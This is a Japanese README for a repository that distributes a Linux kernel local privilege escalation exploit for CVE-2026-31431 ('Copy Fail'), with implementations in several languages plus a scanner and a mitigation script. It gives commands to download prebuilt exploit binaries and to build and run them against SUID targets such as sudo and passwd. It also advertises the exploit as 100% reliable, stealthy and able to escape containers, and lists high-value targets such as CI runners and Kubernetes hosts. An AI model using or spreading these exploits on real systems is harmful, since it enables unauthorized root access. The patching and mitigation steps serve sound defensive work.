
Linuxカーネルのローカル権限昇格エクスプロイト(CVE-2026-31431)で、複数の言語実装、脆弱性スキャナ、緩和スクリプトを備えた信頼性の高い単発PoCを提供します。
2017年以降の主要な全Linuxディストリビューションに影響する、100%信頼性の高いLinuxローカル権限昇格。
authencesnの1つのロジックバグが、AF_ALGとsplice()を経由して4バイトのページキャッシュ書き込みに連鎖 — 約10年間、静かに悪用可能。
このリポジトリ内のすべてのコードおよびドキュメントは、許可されたセキュリティ研究および教育目的のみで提供されています。
所有していない、または明示的な書面によるテスト許可を得ていないシステムに対してエクスプロイトコードを実行することは違法です。このリポジトリを使用することで、お客様はご自身の行動に対して全責任を負うものとします。
.
├── README.md ← 現在地
├── LICENSE ← MIT
├── .gitignore
├── docs/
│ ├── analysis-report.md ← 包括的なセキュリティ分析
│ ├── analysis-report.html ← スタイル適用済みHTML版
│ ├── exploit-walkthrough.md ← 行ごとのPoC分析
│ └── exploit-walkthrough.html ← スタイル適用済みHTML版
└── poc/
├── README.md ← PoC使用ガイド
├── copy_fail_exp.py ← 公式PoC(732バイト、難読化済み)
├── copy_fail_exp_readable.py ← 難読化解除+注釈付き版
├── copy_fail_exp_compat.py ← Python 3.6+互換(ctypes splice)
├── copy_fail_exp_alpine.py ← Alpine Linux用バリアント
├── copy_fail_exp.c ← C実装(依存関係ゼロ)
├── copy_fail_exp.go ← Go実装(依存関係ゼロ)
├── copy_fail_rust/ ← Rust実装
│ ├── Cargo.toml
│ └── src/main.rs
├── check_vulnerable.py ← 脆弱性スキャナ
└── mitigate.sh ← ワンクリック緩和スクリプト
# GitHub Releasesから — ビルド済みバイナリ(Linux amd64/arm64)+ 全Pythonスクリプト
wget https://github.com/nisec-eric/cve-2026-31431/releases/latest/download/copy-fail-go-linux.tar.gz
wget https://github.com/nisec-eric/cve-2026-31431/releases/latest/download/copy-fail-c-linux.tar.gz
wget https://github.com/nisec-eric/cve-2026-31431/releases/latest/download/copy-fail-python.tar.gz
tar xzf copy-fail-go-linux.tar.gz
tar xzf copy-fail-c-linux.tar.gz
tar xzf copy-fail-python.tar.gz
# Go静的バイナリ(Python不要)
chmod +x copy-fail-exp-amd64
./copy-fail-exp-amd64
# C静的バイナリ
chmod +x copy-fail-exp-c-amd64
./copy-fail-exp-c-amd64
# またはPythonスクリプトを直接使用
python3 check_vulnerable.py
📦 リリースは
v*タグのプッシュごとにGitHub Actionsで自動ビルドされます。 GoおよびCバイナリは linux/amd64 と linux/arm64 向けに静的バイナリとしてビルドされます。
python3 poc/check_vulnerable.py
sudo bash poc/mitigate.sh
これにより algif_aead カーネルモジュールがブラックリスト化されます — 99%のシステムでは何も壊れません。
# Debian/Ubuntu
sudo apt update && sudo apt upgrade linux-image-*
# RHEL/CentOS/Fedora
sudo dnf update kernel
# 修正済みカーネルで再起動
sudo reboot
python3 poc/check_vulnerable.py
# 終了コード1 = 保護済み ✓
警告: 所有している、またはテスト許可を得たシステムでのみ実行してください。
# C
gcc -static -o exp ./poc/copy_fail_exp.c && ./exp
# Python
python3 poc/copy_fail_exp.py
python3 poc/copy_fail_exp_compat.py # Python < 3.10
# Go
go build -o exp ./poc/copy_fail_exp.go && ./exp
# Rust
cd poc/copy_fail_rust && cargo run --release
すべてのバージョンで、別のSUIDバイナリをターゲットにするためのオプション引数を受け付けます:
python3 poc/copy_fail_exp.py /usr/bin/passwd
./exp /usr/bin/sudo
以下を網羅する完全な脆弱性評価:
authencesn スクラッチ書き込み)行ごとのPoC分析:
AF_ALG ソケットフロー、splice() ページキャッシュ配信、sg_chain() の仕組みauthencesn ESNスクラッチ書き込み/etc/passwd インジェクション、共有ライブラリのターゲット化、コンテナエスケープ貢献を歓迎します:
issueまたはプルリクエストを開いてください。
MIT — 責任を持って使用してください。
| フィールド | 詳細 |
|---|
| CVE | CVE-2026-31431 |
| 別名 | Copy Fail |
| 種別 | Linuxカーネルローカル権限昇格(LPE)/ ページキャッシュ任意書き込み |
| CVSS v3.1 | 7.8 HIGH — AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| CWE | CWE-669(スフィア間の不正確なリソース転送) |
| コンポーネント | crypto/algif_aead — authencesn 暗号テンプレート |
| 導入時期 | 2017年(コミット 72548b093ee3) |
| 修正時期 | メインラインコミット a664bf3d603d(2026-04-01) |
| 修正済みカーネル | v6.18.22+、v6.19.12+、v7.0+ |
| 発見者 | Xint / Theori(Taeyang Lee + Xint Code AI支援監査) |
| 開示日 | 2026-04-29 — copy.fail |
| 一般的なLinux LPE | Copy Fail |
|---|
| 競合状態 | 必要 | 不要 |
| ディストリビューション別オフセット | 必要 | 不要 |
| 信頼性 | 30〜80% | 100%、単発 |
| 影響範囲 | 狭い | 2017年 → 2026年(9年間) |
| ディスク上の改変 | 可能性あり | なし(ステルス性) |
| コンテナ横断 | 不可 | 可能 |
| ファイル | 言語 | 要件 | 備考 |
|---|
copy_fail_exp.py | Python 3.10+ | stdlibのみ | 公式732バイトPoC |
copy_fail_exp_compat.py | Python 3.6+ | stdlib + ctypes | CentOS 7、AL2などで動作 |
copy_fail_exp_alpine.py | Python 3.10+ | stdlibのみ | Alpine上の /bin/ping をターゲット |
copy_fail_exp.c | C | gcc + Linuxヘッダ | 静的バイナリ、依存関係ゼロ |
copy_fail_exp.go | Go 1.21+ | stdlibのみ | 静的バイナリ、依存関係ゼロ |
copy_fail_rust/ | Rust 1.70+ | libc + flate2クレート | 静的バイナリ |
| 環境 | リスク | 理由 |
|---|
| マルチテナントLinuxホスト | 🔴 高 | 任意ユーザー → root |
| Kubernetes / コンテナ | 🔴 高 | 共有ページキャッシュ → コンテナエスケープ |
| CIランナー(セルフホスト) | 🔴 高 | 悪意のあるPR → ランナーroot |
| クラウドSaaS(ユーザーコード) | 🔴 高 | テナント → ホストroot |
| 標準サーバー | 🟡 中 | Web RCE / 窃取された認証情報と連鎖 |
| シングルユーザーラップトップ | 🟢 低 | すでに唯一のユーザー |